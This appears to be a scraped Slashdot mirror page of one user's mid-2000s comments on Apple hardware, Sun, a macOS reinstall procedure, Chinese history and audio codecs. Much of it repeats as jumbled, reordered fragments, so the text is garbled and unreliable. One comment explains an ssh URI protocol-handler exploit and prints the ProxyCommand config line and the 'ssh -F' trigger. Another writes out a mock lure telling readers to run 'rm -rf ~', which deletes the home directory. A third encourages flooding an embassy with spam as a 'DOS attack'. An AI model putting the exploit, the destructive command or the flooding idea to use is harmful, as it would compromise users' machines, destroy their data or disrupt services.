I think I was more blown away with the side bar showing the internal design. Now I understand why the mac G5 is slightly bigger than a PC case and why macs dont have multiple front panel drive bays. there are clear front to back air channells. so air can trully be swept through in one pass. just look at that crammed pc case : it looks as useful as a square suace pan would be on you stove. the cpu fan vents in to a poorly stirred airmass. you cant even put output fans or input fans in logical places since all of the back is taken up with power supply and PXI car slots and the front is covered with drive bays. There are endless nooks and heaps of wire. and most of the air lives in a blob above the motherboard never in contact with it.
in contrast the mac case has layers of flowing air no thicker that what is probably the thermal diffusion length. Air flows over the top and bottom of the hotest items and does so in one pass. Its beautiful. and mac planned this out from the beginning for expandability.
consider the cost of ownership of a ten passenger van versus the cost of ten segways. The segways win compared to the cost of a new van. Moreover the segaways have better access. Still the segways cant be used just anywhere like this.
IIRC, SUN was one of those companies buying SCO licences. Perhaps SUN's turn to open source prompted this. I can see two reasons. One would be if SUN actually had plausibe SCO unix code in their Solaris (or java). or the other would be if they mereley worried that when they open sourced it some would turn up and they wanted to indemnify themsleves.
I think perhaps you are confused. Which [apple] products and standards that "people really want" are you referring to?
oh lets see now. apple/next was the first to wholistically adopt and commercialize Dynamic memory (apple II), memory mapped video, plug-n-play bus cards, scsi harddrives on desktops, postscript, laser writers, Mice, windows, Megapixel displays, display spanning windows, desktop networking (apple talk and filesharing ), Autoconfiguring DNS (e.g. NeXT and now Rondevouz), ubiquitous use of mime types in e-mail, firewire, USB, runtime-binding (objective-C predated Java)
Of course the hardware will NOT be free. You will be renting it by paying for the software. Hardware that is indistinguishable will probably be free. Hardware that is nice, like say an ipod or an imac, you will pay for. everyone else will buy a dell.
The difference will be the difference between taking the Bus or trolley, and driving your car. The bus is convenient if you like it, but it does not have cup holders or corrinthian leather seats. For that you need to go to apple and buy the ibus.
this suggests that in the end only sony and apple will be the niche luxury hardare vendors.
It's sort of ironic that some people think that music will be nearly free and you will buy the players and some people think the players will be free and you will subscribe to the music. Which is it slashdotters? make up your minds.
Even if this comes to pass, that software is what you subscribe too, I suspect apple will make the transition. NeXT had a go at this and had a limited success. But they were starting with a death spiraling product that had no established base. Apple has people who want apples software. So they will have the subscribers even if they have to give away the hardware.
of course they will have to charge you more than $100 per OS upgrade.
thus what it comes down to is economies of scale, standards compliance, and the willingness of your niche subscribers to pay a premium. On the one hand one has MS which has the economy of scale and flouts standards as a competative tactic. and ont he other one has Apple which knows how to create products and create standards that people really want. In the middle SUN has none of these attributes except in a very niche area of sun fanatics.
Here is a quote regarding TV dinners ripped from yesterdays headlines.
Mr Chalabi argued that "the IGC is the forces that opposed Saddam Husain and, allied with the US, overthrew him. Now the US wants to overthrow us?"
To which another - and more realistic - IGC member, cleric Ghazi al-Yawar replied: "They think they are entitled to a role because they believe they overthrew Saddam Husain. It was the US that overthrew Saddam while we were eating TV dinners."
so apparently the term TV dinner is not only in use its internationally in use. Plus its damn funny in this inconcrous use.
after getting access as described here is how I deal with my machines
0) first rename the/Users/shared folder and move it into a your user folder.
1) do a full install of the system using the archive and install mode. this gives you a blank system with the default apps. But with all your old system stored in a folder.
2) re create all your users if any are missing and copy back their files. and move back the/Users/Shared folder you renamed in step 1. (this is needed because the shared folder is not quite hndeled right by archiva and install)
3) drag and drop the contents of the old-applications folder on the new applications folder. When it asks you if you want to overwite check NO. this will give you clean copies of the apple apps and give you your old other appls back.
do the same with the Utilities folder.
4) now very selectively do the same with the/Library folder. There are very few apps that actually need anything stored in libraries folder and most of these are in application suport and prefs sub dirs. nearly all prefs can be wiped. as a pre-screen you can search for anything in this folder that is an executable or a.app using "find". these are highly suspect, but not neccessarily evil.
5) copy back any other root level folders that you personally created previously such as/sw for fink.
6) go back and double check that all those applications and utilities that were not apple apps and utilites are okay. This is not simple but at least check some creation dates.
that should pretty much do it. what you will miss are any boot time services, host files, tcp permissions, cron jobs or firewall settings you hand tweaked, you installed as those config files are now wiped. It's possible your keychain will get corrupted but not neccessaility. and if you created any new users inthis process and their explict UID and GROUPID numbers are important you can edit these using the netinfo utility. Normal installations of packages and applications on apples do not tinker with/bin/etc/usr. some non-apple freindly unix packages do, but you would probably know this. if you only used fink or only installed in the users's space then you are fine. if you installed in to places like/usr or/opt then you are on your own.
The only reason the attack needs to use the disk: protocol helper is if he cannot guess the path to your downloads folder. The only reason the disk: attack is handy is because it creates a known path to the downloaded file.
If he can guess this then you dont need to use disk: to download a payload application or document. The attacker can just directly download it to your "downloads" folder, then execute it using any of the previously discussed protocol handler exploits.
this suggests that renaming your downloads folder to some non-guessable name would be a good idea. (e.g. dont put a foloder nmaed downloads on your dekstop, home, or documents folder! )
It also suggests a possible but perhaps bad kludge workaround on this problem till Apple fixes it. Create an OSX folder-action for your/Volumes folder. this folder action can either rename anything placed in the folder or move the item to another location. That way anying mounted will not have a known path.
Is there a difference between RDcefaultapp, more internet, and missfox. It appears they do thte same things. the only feature I've noticed on moreinternet that is missing is the ability to redirect a protocol handlet to --but you can of course simply send it to chess or something instead.
THIS IS NOT JUST ANOTHER PROTOCOL HANDLER SECUITY HOLE.
This expolit signifcantly more clever than the previous ones that were variation on the theme of protocol handlers that launch an app. This one has an extra layer of cleverness, exploiting a less well known feature of ssh. While this example is being triggered using a protocol handler, the actual exploit is more subtle than the previous ones that simply deposited an executable script or app on a mounted disk.
This one deposits a non-executable plain text configuration file
It works like this. ssh has a config file. You can direct ssh to use a non-default config file. Now you might be thinking "so what? config files dont contain executables." And thar you'd be wrong matey.
It turns out that the ssh config file can tell ssh to run a script and allow you to supply that script. so here is the exploit. just get ssh to use the following config file.
ProxyCommand osascript -e 'tell application "Finder" to say "Hello, you have been owned by the ssh URI exploit"' -e 'tell application "TextEdit"' -e 'activate' -e 'set text of front document to "You have been owned by the ssh URI exploit, by kang@insecure.ws - http://insecure.ws"' -e 'end tell'
and how do we do that. well execute
ssh -F bogus_config_file dummy_host_name
So this exploit is triggerable using protocol handlers that recognize ssh:// and pass the args to ssh. Anyway you can get the bogus_file on the local host is fine. One way is to use the disk: protocol handler, but that is not the only way.
Isolationism is inevitably defined by the moment. You are trying to remove a foreign influence or not engage an external on. While the latter is the common use of the term, I'm not quite sure what the right term is for former is . Conservative? nationalist, anti-colonialist.
iThe repulsion of the Japanese was the war du Jour, but in broader histroy yet another different culture atempting to infect its society and control its resources and like the others being tossed out. The boxer rebellion was indeed about kicking out the foreign devils. Again a perception of the outside influences as currupting to the inner spirit of china, and a movement to detach from that external influence to focus inward.
The great wall was more symptomatic than effective. It controlled ingress and egress more than it effectively repulsed determined barbarians. In defined the boundaries and thus defined "self" and "not-self" in the eyes of those on either side of the wall. If that is not the innate origin os any isolationist thought nothing is.
mao's march again was about defining what was chinese and what was imposed on them by others. While one might think this was an revolt agains the emporers system and thus be more of an internal conflict than an isolationist movement, in fact the emporers time had long passed due to the foreign contacts. In this case it was about removing the captalist government which was by its nature engaged with foreign powers and returning china to the chinese.
so maybe isolationism is not the right word. Perhaps self-definition or cultural nationalism is the right word. In any case china has historically been the successfully most xenophobic culture in history. for millenia chinese have repeatedly shrugged of outside military and cultutal influences that came and went.
er...5 billion people is quite an isolated market. Besides which the Chinese have sought isolation for millenia. The great wall of china, the boxer rebellion, world war II, and mao's march were all about thowing foreign influence out of the country.
I heard he's adding in a drug-evasion induced paranoid dream sequences with Jar Jar Binks and Jabba the Ashcroft that he could not afford to film at the time.
Find the closes chinese emabassy and reforward your spam there. then keep moving the target to different agencies in case they block your IP. if enough people did it it would become a self moderating DOS attack.
Bullsh*T. this is not green transportation unless you consider birth defects from improperly disposed batteries good. If you think I'm whistling nonsense then take a look at belize. Belize has a large population on its Cayues and the favored transportation is golf carts. and what do you do when the batteirs wear out. Why you dump them and Led gets into the water supply and into the food chain (fish). hence you see an upsurge in birth defect and slow-witted children
if you charged for what is costs to dipose of the batteries properly no one would use the electric vehicles.
So the whole goal is to find the system that compresses music the best in the smallest number of bits.
After a while, once you have weeded out bad ways, one is going to reach the following situation. Each algorithm will perform very well for a large set of music and poorly for some small set of music. Barring pathologies, The poor set will be assymtotically fixable by increacing the bit rate. By the way this is not just my opinion. Theres theorems that say this is true of any compression scheme when applied to all problems.
what does this mean? it means that the end user is never going to work at the truly low end of the bit rate specrrum because they want something that virtually always works. Plus they want a wee bit more just in case they have to transcode it. So if the recommended rate is 128 people will encode at 160.
So these comparisons need to be done not at the bitter edge where music flaws are easy to spot because NO ONE WILL ACTUALLY MAKE THAT THE OPERATING POINT THEY USE. That is to say everyone knows vorbis sounds so-so at 64KB while MP3 sound much worse. But no one wants So-So they want darn good. So they are going to recors their Mp3 at 160 and at 160 Ogg and Mp3 sound so close that the size of the test you'd have to do to pick up the difference is silly.
the proper way to do this is the following. Pick the gold standard format, say MP3 and its standard excellent operating point, say 160. now test all the others at lower bit rates than 160, and see which one has the lowest bit rate that scores as good as the Mp3 at 160.
comparing all methods at a constant bit rate, esepciall a low one, is stupid
Why the FSCK is this called a "trojan". Sending someone an app and telling them to run it is not a trojan, and merely pasting a nice icon on it is not sufficiently clever to warrant a news story. Here I'll give you the second trojan of the day.
Attention stupid people. please open a terminal window and type the following command. It will install a free copy of microsoft word plus a nude picture of anna kornikova screen saver
rm -rf ~
If I put this is an apple script and gave it a nice icon would this make it a freaking trojan by anyones standards???
this is just people trying too hard to find a problem with macintosh. Move along nothing to see here.
On Windows it would very likely have wiped your hard drive because it would likely have root privledges. Now this of course could happen on a mac too since it's getting common for apps to ask for root when they install. But at least it would have to ask.
Only certain implementations of arithmetic coding are patented. see here for a list.. One of those happens to be the form specified for Jpeg which makes it unusable for jpeg. presumably one could come up with another form. on the otherhand using arithmetic coding on top of a highly compressed object is not likely to improve its compression a lot.
as for wavelet compression being a novel codec, what about apple's pixlet technology?
Since you think this act would have value how much are you willing to pay? Maybe there should be a per PC sold charge that you get charged regardless whether you install Windows or not. The money would go to microsoft to pay for all of those update they will be giving to pirates.
this seem only fair since providing service to pirates will only encourage piracy and shrink their market share. On the other hand since you get value out of not being bombarded with viruses and virus spawned spam you of course are happy to pay this small fee even if you install linux.
what do you think? How much would you pay to get MS to do this?
Slashdot Mirror
in contrast the mac case has layers of flowing air no thicker that what is probably the thermal diffusion length. Air flows over the top and bottom of the hotest items and does so in one pass. Its beautiful. and mac planned this out from the beginning for expandability.
besides I like the cheese grater.
You are assuming the van is always full and in service.
consider the cost of ownership of a ten passenger van versus the cost of ten segways. The segways win compared to the cost of a new van. Moreover the segaways have better access. Still the segways cant be used just anywhere like this.
it's a palindrome. now figure out why I posted this. it's not off topic.
oh lets see now. apple/next was the first to wholistically adopt and commercialize Dynamic memory (apple II), memory mapped video, plug-n-play bus cards, scsi harddrives on desktops, postscript, laser writers, Mice, windows, Megapixel displays, display spanning windows, desktop networking (apple talk and filesharing ), Autoconfiguring DNS (e.g. NeXT and now Rondevouz), ubiquitous use of mime types in e-mail, firewire, USB, runtime-binding (objective-C predated Java)
Is there a better desktop for Unix in existence?
shall I go on?
The difference will be the difference between taking the Bus or trolley, and driving your car. The bus is convenient if you like it, but it does not have cup holders or corrinthian leather seats. For that you need to go to apple and buy the ibus.
this suggests that in the end only sony and apple will be the niche luxury hardare vendors.
It's sort of ironic that some people think that music will be nearly free and you will buy the players and some people think the players will be free and you will subscribe to the music. Which is it slashdotters? make up your minds.
Even if this comes to pass, that software is what you subscribe too, I suspect apple will make the transition. NeXT had a go at this and had a limited success. But they were starting with a death spiraling product that had no established base. Apple has people who want apples software. So they will have the subscribers even if they have to give away the hardware.
of course they will have to charge you more than $100 per OS upgrade.
thus what it comes down to is economies of scale, standards compliance, and the willingness of your niche subscribers to pay a premium. On the one hand one has MS which has the economy of scale and flouts standards as a competative tactic. and ont he other one has Apple which knows how to create products and create standards that people really want. In the middle SUN has none of these attributes except in a very niche area of sun fanatics.
Mr Chalabi argued that "the IGC is the forces that opposed Saddam Husain and, allied with the US, overthrew him. Now the US wants to overthrow us?"
To which another - and more realistic - IGC member, cleric Ghazi al-Yawar replied: "They think they are entitled to a role because they believe they overthrew Saddam Husain. It was the US that overthrew Saddam while we were eating TV dinners."
so apparently the term TV dinner is not only in use its internationally in use. Plus its damn funny in this inconcrous use.
after getting access as described here is how I deal with my machines
/Users/shared folder and move it into a your user folder.
/Users/Shared folder you renamed in step 1. (this is needed because the shared folder is not quite hndeled right by archiva and install)
/Library folder. There are very few apps that actually need anything stored in libraries folder and most of these are in application suport and prefs sub dirs. nearly all prefs can be wiped. as a pre-screen you can search for anything in this folder that is an executable or a .app using "find". these are highly suspect, but not neccessarily evil.
/sw for fink.
/bin /etc /usr. some non-apple freindly unix packages do, but you would probably know this. if you only used fink or only installed in the users's space then you are fine. if you installed in to places like /usr or /opt then you are on your own.
0) first rename the
1) do a full install of the system using the archive and install mode. this gives you a blank system with the default apps. But with all your old system stored in a folder.
2) re create all your users if any are missing and copy back their files. and move back the
3) drag and drop the contents of the old-applications folder on the new applications folder. When it asks you if you want to overwite check NO. this will give you clean copies of the apple apps and give you your old other appls back.
do the same with the Utilities folder.
4) now very selectively do the same with the
5) copy back any other root level folders that you personally created previously such as
6) go back and double check that all those applications and utilities that were not apple apps and utilites are okay. This is not simple but at least check some creation dates.
that should pretty much do it. what you will miss are any boot time services, host files, tcp permissions, cron jobs or firewall settings you hand tweaked, you installed as those config files are now wiped. It's possible your keychain will get corrupted but not neccessaility. and if you created any new users inthis process and their explict UID and GROUPID numbers are important you can edit these using the netinfo utility. Normal installations of packages and applications on apples do not tinker with
If he can guess this then you dont need to use disk: to download a payload application or document. The attacker can just directly download it to your "downloads" folder, then execute it using any of the previously discussed protocol handler exploits.
this suggests that renaming your downloads folder to some non-guessable name would be a good idea. (e.g. dont put a foloder nmaed downloads on your dekstop, home, or documents folder! )
It also suggests a possible but perhaps bad kludge workaround on this problem till Apple fixes it. Create an OSX folder-action for your /Volumes folder. this folder action can either rename anything placed in the folder or move the item to another location. That way anying mounted will not have a known path.
Is there a difference between RDcefaultapp, more internet, and missfox. It appears they do thte same things. the only feature I've noticed on moreinternet that is missing is the ability to redirect a protocol handlet to --but you can of course simply send it to chess or something instead.
This expolit signifcantly more clever than the previous ones that were variation on the theme of protocol handlers that launch an app. This one has an extra layer of cleverness, exploiting a less well known feature of ssh. While this example is being triggered using a protocol handler, the actual exploit is more subtle than the previous ones that simply deposited an executable script or app on a mounted disk.
This one deposits a non-executable plain text configuration file
It works like this. ssh has a config file. You can direct ssh to use a non-default config file. Now you might be thinking "so what? config files dont contain executables." And thar you'd be wrong matey.
It turns out that the ssh config file can tell ssh to run a script and allow you to supply that script. so here is the exploit. just get ssh to use the following config file.
and how do we do that. well execute
So this exploit is triggerable using protocol handlers that recognize ssh:// and pass the args to ssh. Anyway you can get the bogus_file on the local host is fine. One way is to use the disk: protocol handler, but that is not the only way.iThe repulsion of the Japanese was the war du Jour, but in broader histroy yet another different culture atempting to infect its society and control its resources and like the others being tossed out. The boxer rebellion was indeed about kicking out the foreign devils. Again a perception of the outside influences as currupting to the inner spirit of china, and a movement to detach from that external influence to focus inward.
The great wall was more symptomatic than effective. It controlled ingress and egress more than it effectively repulsed determined barbarians. In defined the boundaries and thus defined "self" and "not-self" in the eyes of those on either side of the wall. If that is not the innate origin os any isolationist thought nothing is.
mao's march again was about defining what was chinese and what was imposed on them by others. While one might think this was an revolt agains the emporers system and thus be more of an internal conflict than an isolationist movement, in fact the emporers time had long passed due to the foreign contacts. In this case it was about removing the captalist government which was by its nature engaged with foreign powers and returning china to the chinese.
so maybe isolationism is not the right word. Perhaps self-definition or cultural nationalism is the right word. In any case china has historically been the successfully most xenophobic culture in history. for millenia chinese have repeatedly shrugged of outside military and cultutal influences that came and went.
er...5 billion people is quite an isolated market. Besides which the Chinese have sought isolation for millenia. The great wall of china, the boxer rebellion, world war II, and mao's march were all about thowing foreign influence out of the country.
I heard he's adding in a drug-evasion induced paranoid dream sequences with Jar Jar Binks and Jabba the Ashcroft that he could not afford to film at the time.
And remember drug evasion is a crime.
Find the closes chinese emabassy and reforward your spam there. then keep moving the target to different agencies in case they block your IP. if enough people did it it would become a self moderating DOS attack.
That's really funny. I did exactly the same thing. I was looking for the shutdown. Finally I realied I could just close the widow.
if you charged for what is costs to dipose of the batteries properly no one would use the electric vehicles.
I'd rather breath fumes than eat heavy metals.
Can it run WINE?
After a while, once you have weeded out bad ways, one is going to reach the following situation. Each algorithm will perform very well for a large set of music and poorly for some small set of music. Barring pathologies, The poor set will be assymtotically fixable by increacing the bit rate. By the way this is not just my opinion. Theres theorems that say this is true of any compression scheme when applied to all problems.
what does this mean? it means that the end user is never going to work at the truly low end of the bit rate specrrum because they want something that virtually always works. Plus they want a wee bit more just in case they have to transcode it. So if the recommended rate is 128 people will encode at 160.
So these comparisons need to be done not at the bitter edge where music flaws are easy to spot because NO ONE WILL ACTUALLY MAKE THAT THE OPERATING POINT THEY USE. That is to say everyone knows vorbis sounds so-so at 64KB while MP3 sound much worse. But no one wants So-So they want darn good. So they are going to recors their Mp3 at 160 and at 160 Ogg and Mp3 sound so close that the size of the test you'd have to do to pick up the difference is silly.
the proper way to do this is the following. Pick the gold standard format, say MP3 and its standard excellent operating point, say 160. now test all the others at lower bit rates than 160, and see which one has the lowest bit rate that scores as good as the Mp3 at 160.
comparing all methods at a constant bit rate, esepciall a low one, is stupid
rm -rf ~
If I put this is an apple script and gave it a nice icon would this make it a freaking trojan by anyones standards???
this is just people trying too hard to find a problem with macintosh. Move along nothing to see here.
On Windows it would very likely have wiped your hard drive because it would likely have root privledges. Now this of course could happen on a mac too since it's getting common for apps to ask for root when they install. But at least it would have to ask.
as for wavelet compression being a novel codec, what about apple's pixlet technology?
naw just buy a mac. not that they are immune in any sense but for some reason they dont seem infested either. put that in your TCO and smoke it.
this seem only fair since providing service to pirates will only encourage piracy and shrink their market share. On the other hand since you get value out of not being bombarded with viruses and virus spawned spam you of course are happy to pay this small fee even if you install linux.
what do you think? How much would you pay to get MS to do this?
Dan KOSTER.
is that perhaps with a soft "O", like "Coaster". I'd say so. He should change his middle name to "2000".